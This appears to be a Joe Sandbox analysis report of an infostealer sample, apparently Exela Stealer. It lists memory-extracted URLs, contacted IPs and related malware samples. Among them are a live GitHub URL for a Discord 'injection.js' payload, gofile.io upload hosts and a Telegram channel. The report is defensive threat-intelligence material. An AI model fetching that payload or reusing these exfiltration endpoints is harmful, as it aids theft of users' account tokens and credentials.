https://webcast.tiktok.com/webcast/wallet_api/diamond_buy/permission/?aid=1988&app_language=de-DE&ap	rename_me_before.exe, 00000001.00000002.1978690429.000001B101D04000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1979075425.000001B101E80000.00000004.00001000.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 0000002A.00000003.1749773200.000001D218CC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.42.dr, qmgr.db.42.dr	false		high
https://i.hizliresim.com/6t31tw2.jpgP	rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	false		high
https://zopeinterface.readthedocs.io/en/latest/	rename_me_before.exe, 00000001.00000003.1965506103.000001B1005D5000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966055870.000001B100617000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1975824517.000001B100655000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1968170677.000001B100654000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965777162.000001B1005E8000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965048386.000001B10058E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	rename_me_before.exe, 00000001.00000003.1667996233.000001B17E531000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1981358821.000001B17FEA8000.00000004.00001000.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000045.00000002.1826414031.000001DBBF244000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000045.00000002.1826414031.000001DBBF244000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000045.00000002.1826414031.000001DBBFC44000.00000004.00000800.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/justforExela/injection/main/injection.js	rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	rename_me_before.exe, 00000001.00000003.1965401133.000001B17E4F0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966237596.000001B17E535000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1981201596.000001B17E536000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1667996233.000001B17E531000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1668933285.000001B17E528000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1669358961.000001B17E510000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1670306810.000001B17E523000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1668055844.000001B17E535000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1669127853.000001B17E528000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965746028.000001B17E529000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/issues/86361.	rename_me_before.exe, 00000001.00000003.1968595963.000001B1005C0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1669775645.000001B1005E2000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1670268190.000001B100598000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1669887991.000001B1005BF000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1968509131.000001B1005BD000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966526691.000001B1005BC000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1673647231.000001B100579000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1670211447.000001B10058C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1671664245.000001B10058C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1975257853.000001B1005C1000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1670048680.000001B1005C3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1669837588.000001B1005F9000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965048386.000001B10058E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000045.00000002.1843174125.000001DBCF082000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discord.com/api/v8/users/	rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	false		high
https://i.hizliresim.com/qxnzimj.jpg	rename_me_before.exe, 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.apache.org/licenses/	rename_me_before.exe, 00000000.00000003.1662503428.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, LICENSE.APACHE.0.dr	false		high
https://www.attrs.org/en/latest/names.html)	rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false		high
https://www.twitch.tv/	rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 0000002A.00000002.2920593241.000001D218A00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/pyca/cryptography/workflows/CI/badge.svg?branch=main	rename_me_before.exe, 00000000.00000003.1662701366.000001CF0A295000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr	false		high
https://open.spotify.com/user/	rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	rename_me_before.exe, 00000001.00000003.1673393839.000001B100980000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	rename_me_before.exe, 00000001.00000003.1719040380.000001B103409000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978690429.000001B101C80000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1719040380.000001B1034AA000.00000004.00000020.00020000.00000000.sdmp, Historys.txt.1.dr	false		high
https://www.reddit.com/user/P	rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	false		high
https://filepreviews.io/	rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	rename_me_before.exe, 00000001.00000003.1719040380.000001B103473000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978690429.000001B101C80000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000045.00000002.1826414031.000001DBBF244000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cryptography.io/en/latest/installation/	rename_me_before.exe, 00000000.00000003.1662701366.000001CF0A295000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr	false		high
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	rename_me_before.exe, 00000001.00000003.1965401133.000001B17E4F0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966237596.000001B17E535000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1981201596.000001B17E536000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1667996233.000001B17E531000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1668933285.000001B17E528000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1669358961.000001B17E510000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1670306810.000001B17E523000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1668055844.000001B17E535000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1669127853.000001B17E528000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965746028.000001B17E529000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.com/homeP	rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/multiprocessing.html	rename_me_before.exe, 00000001.00000003.1970570414.000001B100618000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1971203694.000001B10061B000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965506103.000001B1005D5000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1675049880.000001B100613000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966055870.000001B100617000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1975666963.000001B10061C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1677223508.000001B100613000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1673647231.000001B100613000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1671664245.000001B100613000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965777162.000001B1005E8000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1670798799.000001B100615000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965048386.000001B10058E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/1165)	rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661709047.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false		high
https://gofile.io/d/ukhEgs	rename_me_before.exe, 00000001.00000003.1964419181.000001B102D12000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=referral&utm_campa	METADATA.0.dr	false	Avira URL Cloud: safe	unknown
https://open.spotify.com/user/P	rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.attrs.org/en/stable/changelog.html	rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false		high
https://cryptography.io/en/latest/security/	rename_me_before.exe, 00000000.00000003.1662701366.000001CF0A295000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr	false		high
https://github.com/python-attrs/attrs/issues/1141)	rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false		high
https://i.hizliresim.com/6t31tw2.jpg	rename_me_before.exe, 00000001.00000003.1966972745.000001B102228000.00000004.00000020.00020000.00000000.sdmp	false		high
https://thumbnails.roblox.com/v1/users/avatar?userIds=	rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.variomedia.de/	rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false		high
https://bugs.python.org/issue37179	rename_me_before.exe, 00000001.00000003.1891156202.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977125594.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1947237648.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1684873448.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1964107785.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1953054230.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1969941981.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977852804.000001B101140000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1971261333.000001B100CC5000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1685174704.000001B100CB3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1684873448.000001B100C48000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977307117.000001B100CD2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	rename_me_before.exe, 00000001.00000003.1719040380.000001B1033E4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.reddit.com/user/	rename_me_before.exe, 00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	rename_me_before.exe, 00000001.00000003.1965746028.000001B17E529000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	rename_me_before.exe, 00000001.00000003.1673393839.000001B100980000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/pyca/cryptography/issues	METADATA0.0.dr	false		high
https://readthedocs.org/projects/cryptography/badge/?version=latest	rename_me_before.exe, 00000000.00000003.1662701366.000001CF0A295000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr	false		high
https://t.me/ExelaStealer	rename_me_before.exe, 00000001.00000003.1966972745.000001B102228000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.attrs.org/	METADATA.0.dr	false		high
https://github.com/python-attrs/attrs/issues/1158)	rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661709047.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false		high
https://mahler:8092/site-updates.py	rename_me_before.exe, 00000001.00000002.1976728516.000001B1009F2000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1968294358.000001B1009F1000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1953054230.000001B1009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	rename_me_before.exe, 00000001.00000003.1719040380.000001B103473000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/1203)	rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661709047.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false		high
https://www.attrs.org/en/23.2.0/_static/sponsors/Tidelift.svg	rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false	Avira URL Cloud: safe	unknown
https://github.com/pyca/cryptography	rename_me_before.exe, 00000000.00000003.1662701366.000001CF0A295000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr	false		high
https://www.python.org/download/releases/2.3/mro/.	rename_me_before.exe, 00000001.00000002.1981358821.000001B17FE20000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	false		high
https://cryptography.io/	METADATA0.0.dr	false		high
https://docs.python.org/3/library/asyncio-eventloop.html	rename_me_before.exe, 00000001.00000002.1977125594.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1684873448.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1964107785.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1953054230.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977852804.000001B101140000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1685174704.000001B100CB3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1684873448.000001B100C48000.00000004.00000020.00020000.00000000.sdmp	false		high
https://i.hizliresim.com/eai9bwi.jpg0	rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
162.159.137.232	canary.discord.com	United States	13335	CLOUDFLARENETUS	false
162.159.128.233	unknown	United States	13335	CLOUDFLARENETUS	false
45.112.123.126	api.gofile.io	Singapore	16509	AMAZON-02US	false
45.112.123.227	store1.gofile.io	Singapore	16509	AMAZON-02US	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582938
Start date and time:	2025-01-01 02:52:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	78
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	rename_me_before.exe
Detection:	MAL
Classification:	mal100.rans.spre.phis.troj.spyw.expl.evad.winEXE@130/182@4/6
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 80% Number of executed functions: 68 Number of non-executed functions: 121
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 20.109.210.53, 13.95.31.18, 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, e16604.g.akamaiedge.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Execution Graph export aborted for target mshta.exe, PID 2108 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 1668 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:53:00	API Interceptor	5x Sleep call for process: WMIC.exe modified
20:53:06	API Interceptor	2x Sleep call for process: svchost.exe modified
20:53:06	API Interceptor	19x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	vEtDFkAZjO.exe	Get hash	malicious	RL STEALER, StormKitty	Browse	ip-api.com/xml
	Fizzy Loader.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	ip-api.com/json/?fields=225545
	Extreme Injector v3.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	VegaStealer_v2.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer	Browse	ip-api.com/json/?fields=61439
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer, Xmrig	Browse	ip-api.com/json/
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer	Browse	ip-api.com/json/?fields=61439
	987656789009800.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	good.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	ip-api.com/json/
	Client-built.exe	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	DHL AWB-documents.lnk	Get hash	malicious	Divulge Stealer	Browse	ip-api.com/json/?fields=225545
162.159.137.232	arm.elf	Get hash	malicious	Unknown	Browse
	Bloxflip Predictor.exe	Get hash	malicious	Njrat	Browse
	phost.exe	Get hash	malicious	Blank Grabber	Browse
	WE8zqotCFj.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse
	EsgeCzT4do.exe	Get hash	malicious	XWorm	Browse
	program.exe	Get hash	malicious	Blank Grabber	Browse
	NEVER OPEN!.exe	Get hash	malicious	Python Stealer, Empyrean, Discord Token Stealer	Browse
	YDW0S5K7hi.exe	Get hash	malicious	SilverRat	Browse
	Xyq6rvzLJs.exe	Get hash	malicious	SilverRat	Browse
	CFuejz2dRu.exe	Get hash	malicious	Discord Token Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	vEtDFkAZjO.exe	Get hash	malicious	RL STEALER, StormKitty	Browse	208.95.112.1
	Fizzy Loader.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	208.95.112.1
	Extreme Injector v3.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	VegaStealer_v2.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer	Browse	208.95.112.1
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer, Xmrig	Browse	208.95.112.1
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer	Browse	208.95.112.1
	987656789009800.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	good.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	208.95.112.1
	Client-built.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	DHL AWB-documents.lnk	Get hash	malicious	Divulge Stealer	Browse	208.95.112.1
canary.discord.com	cPl7CoJTBx.exe	Get hash	malicious	Luna Grabber, Luna Logger	Browse	162.159.128.233
	e45AiBoV6X.exe	Get hash	malicious	Blank Grabber	Browse	162.159.137.232
	Built (1).exe	Get hash	malicious	Blank Grabber	Browse	162.159.128.233
	GalacticShooter (3).exe	Get hash	malicious	Unknown	Browse	162.159.136.232
	GalacticShooter (3).exe	Get hash	malicious	Unknown	Browse	162.159.128.233
	322pVOVprx.exe	Get hash	malicious	Creal Stealer	Browse	162.159.128.233
	S3zoj9Uts0.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	uBZeAVcb6r.exe	Get hash	malicious	Unknown	Browse	162.159.137.232
	12057ad2.exe	Get hash	malicious	NitroRansomware	Browse	162.159.138.232
	build (2).exe	Get hash	malicious	Stealerium	Browse	162.159.136.232
bg.microsoft.map.fastly.net	2VsJzzWTpA.exe	Get hash	malicious	CobaltStrike	Browse	199.232.214.172
	2VsJzzWTpA.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	YJaaZuNHwI.exe	Get hash	malicious	Quasar	Browse	199.232.210.172
	O782uurN5d.exe	Get hash	malicious	DCRat	Browse	199.232.210.172
	bKxtUOPLtR.exe	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	199.232.210.172
	46VHQmFDxC.exe	Get hash	malicious	RedLine	Browse	199.232.210.172
	vEtDFkAZjO.exe	Get hash	malicious	RL STEALER, StormKitty	Browse	199.232.214.172
	GYede3Gwn0.lnk	Get hash	malicious	Unknown	Browse	199.232.210.172
	Qu3ped8inH.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	DIS_37745672.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://thetollroads.com-wfmo.xyz/us	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://img1.wsimg.com/blobby/go/9b6ed793-452c-4f8f-8f80-6847f4d114d7/downloads/71318864754.pdf	Get hash	malicious	Unknown	Browse	104.16.123.96
	decrypt.exe	Get hash	malicious	Unknown	Browse	104.21.16.1
	decrypt.exe	Get hash	malicious	Unknown	Browse	104.21.16.1
	FW_ Carr & Jeanne Biggerstaff has sent you an ecard.msg	Get hash	malicious	Unknown	Browse	104.16.123.96
	OPRfEWLTto.js	Get hash	malicious	Unknown	Browse	104.21.75.126
	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.157.249
	ILxa85qCjP.js	Get hash	malicious	Unknown	Browse	172.67.175.217
	PASS-1234.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
TUT-ASUS	vEtDFkAZjO.exe	Get hash	malicious	RL STEALER, StormKitty	Browse	208.95.112.1
	Fizzy Loader.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	208.95.112.1
	Extreme Injector v3.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	VegaStealer_v2.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer	Browse	208.95.112.1
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer, Xmrig	Browse	208.95.112.1
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer	Browse	208.95.112.1
	987656789009800.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	good.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	208.95.112.1
	http://au.kirmalk.com/watch.php?vid=7750fd3c8	Get hash	malicious	Unknown	Browse	162.252.214.4
	Client-built.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
CLOUDFLARENETUS	https://thetollroads.com-wfmo.xyz/us	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://img1.wsimg.com/blobby/go/9b6ed793-452c-4f8f-8f80-6847f4d114d7/downloads/71318864754.pdf	Get hash	malicious	Unknown	Browse	104.16.123.96
	decrypt.exe	Get hash	malicious	Unknown	Browse	104.21.16.1
	decrypt.exe	Get hash	malicious	Unknown	Browse	104.21.16.1
	FW_ Carr & Jeanne Biggerstaff has sent you an ecard.msg	Get hash	malicious	Unknown	Browse	104.16.123.96
	OPRfEWLTto.js	Get hash	malicious	Unknown	Browse	104.21.75.126
	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.157.249
	ILxa85qCjP.js	Get hash	malicious	Unknown	Browse	172.67.175.217
	PASS-1234.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
AMAZON-02US	.i.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	http://img1.wsimg.com/blobby/go/9b6ed793-452c-4f8f-8f80-6847f4d114d7/downloads/71318864754.pdf	Get hash	malicious	Unknown	Browse	52.217.136.154
